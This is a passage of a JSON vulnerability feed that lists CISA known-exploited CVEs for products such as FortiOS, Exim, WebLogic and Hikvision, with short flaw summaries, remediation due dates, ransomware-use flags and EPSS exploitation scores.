Application","stacks":["Primetek","Primefaces Application"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94104,"percentile":0.99846,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-1000486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-1000486","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-1000486 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-1000486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-1000486, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-13382","cveId":"CVE-2018-13382","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS and FortiProxy Improper Authorization","summary":"An Improper Authorization vulnerability in Fortinet FortiOS and FortiProxy under SSL VPN web portal allows an unauthenticated attacker to modify the password.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS and FortiProxy","stacks":["Fortinet","FortiOS and FortiProxy"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.81691,"percentile":0.99641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-13382&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-13382","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-13382 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-13382&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-13382, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-13383","cveId":"CVE-2018-13383","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS and FortiProxy Out-of-bounds Write","summary":"A heap buffer overflow in Fortinet FortiOS and FortiProxy may cause the SSL VPN web service termination for logged in users.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS and FortiProxy","stacks":["Fortinet","FortiOS and FortiProxy"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.33647,"percentile":0.98373,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-13383&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-13383","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-13383 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-13383&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-13383, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-10149","cveId":"CVE-2019-10149","aliases":[],"kind":"vulnerability","title":"Exim Mail Transfer Agent (MTA) Improper Input Validation","summary":"Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Exim","product":"Mail Transfer Agent (MTA)","stacks":["Exim","Mail Transfer Agent (MTA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99961,"percentile":0.99975,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-10149&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-10149","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-10149 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-10149&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-10149, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1458","cveId":"CVE-2019-1458","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory, aka 'Win32k EoP.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74438,"percentile":0.99488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1458&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1458","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1458 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1458&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1458, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1579","cveId":"CVE-2019-1579","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Remote Code Execution Vulnerability","summary":"Remote Code Execution in PAN-OS with GlobalProtect Portal or GlobalProtect Gateway Interface enabled.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.44159,"percentile":0.98746,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1579&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1579","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1579 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1579&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1579, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-2725","cveId":"CVE-2019-2725","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server, Injection","summary":"Injection vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99977,"percentile":0.99979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-2725&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-2725","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-2725 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-2725&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-2725, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-7609","cveId":"CVE-2019-7609","aliases":[],"kind":"vulnerability","title":"Kibana Arbitrary Code Execution","summary":"Kibana contain an arbitrary code execution flaw in the Timelion visualizer.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Elastic","product":"Kibana","stacks":["Elasticsearch","Elastic","Kibana"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95338,"percentile":0.99866,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-7609&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-7609","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-7609 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-7609&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-7609, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-9670","cveId":"CVE-2019-9670","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Improper Restriction of XML External Entity Reference","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains an improper restriction of XML external entity (XXE) vulnerability in the mailboxd component.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99986,"percentile":0.99984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-9670&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-9670","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-9670 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-9670&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-9670, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-6572","cveId":"CVE-2020-6572","aliases":[],"kind":"vulnerability","title":"Google Chrome Media Use-After-Free Vulnerability","summary":"Google Chrome Media contains a use-after-free vulnerability that allows a remote attacker to execute code via a crafted HTML page.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chrome Media","stacks":["Google Chrome","Google","Chrome Media"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-07-10","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10586,"percentile":0.9575,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-6572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-6572","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-6572 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-6572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-6572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-22017","cveId":"CVE-2021-22017","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Improper Access Control","summary":"Rhttproxy as used in vCenter Server contains a vulnerability due to improper implementation of URI normalization.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-01-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.49177,"percentile":0.98875,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-22017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-22017","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-22017 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-22017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-22017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-27860","cveId":"CVE-2021-27860","aliases":[],"kind":"vulnerability","title":"FatPipe WARP, IPVPN, and MPVPN Configuration Upload exploit","summary":"A vulnerability in the web management interface of FatPipe WARP, IPVPN, and MPVPN software allows a remote, unauthenticated attacker to upload a file to any location on the filesystem.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"FatPipe","product":"WARP, IPVPN, and MPVPN software","stacks":["FatPipe","WARP, IPVPN, and MPVPN software"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-01-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.3968,"percentile":0.9861,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-27860&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-27860","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-27860 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-27860&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-27860, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-36260","cveId":"CVE-2021-36260","aliases":[],"kind":"vulnerability","title":"Hikvision Improper Input Validation","summary":"A command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation.","detail":"CISA added this entry on 2022-01-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-01-10","updatedAt":null,"regions":["Global"],"vendor":"Hikvision","product":"Security cameras web server","stacks":["Hikvision","Security cameras web server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-01-10","dueAt":"2022-01-24","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99869,"percentile":0.99963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-36260&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-36260","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-01-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-36260 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-36260&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-36260, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-4102","cveId":"CVE-2021-4102","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Use-After-Free Vulnerability","summary":"Google Chromium V8 Engine contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2021-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-15","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium V8","stacks":["Google Chrome","Google","Chromium V8"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-15","dueAt":"2021-12-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07836,"percentile":0.94639,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-4102&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-4102","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-4102 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-4102&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-4102, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-43890","cveId":"CVE-2021-43890","aliases":[],"kind":"vulnerability","title":"Microsoft Windows AppX Installer Spoofing Vulnerability","summary":"Microsoft Windows AppX Installer contains a spoofing vulnerability which has a high impacts to confidentiality, integrity, and availability.","detail":"CISA added this entry on 2021-12-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-12-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-12-15","dueAt":"2021-12-29","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11294,"percentile":0.95944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-43890&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-43890","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-12-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-43890 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-43890&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-43890, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2010-1871","cveId":"CVE-2010-1871","aliases":[],"kind":"vulnerability","title":"Red Hat Linux JBoss Seam 2 Remote Code Execution Vulnerability","summary":"JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform 4.3.0 for Red Hat Linux, allows attackers to perform remote code execution. This vulnerability can only be exploited when the Java Security Manager is not properly configured.","detail":"CISA added this entry on 2021-12-10. This record's publication date is the catalog addition date, not necessarily the initial 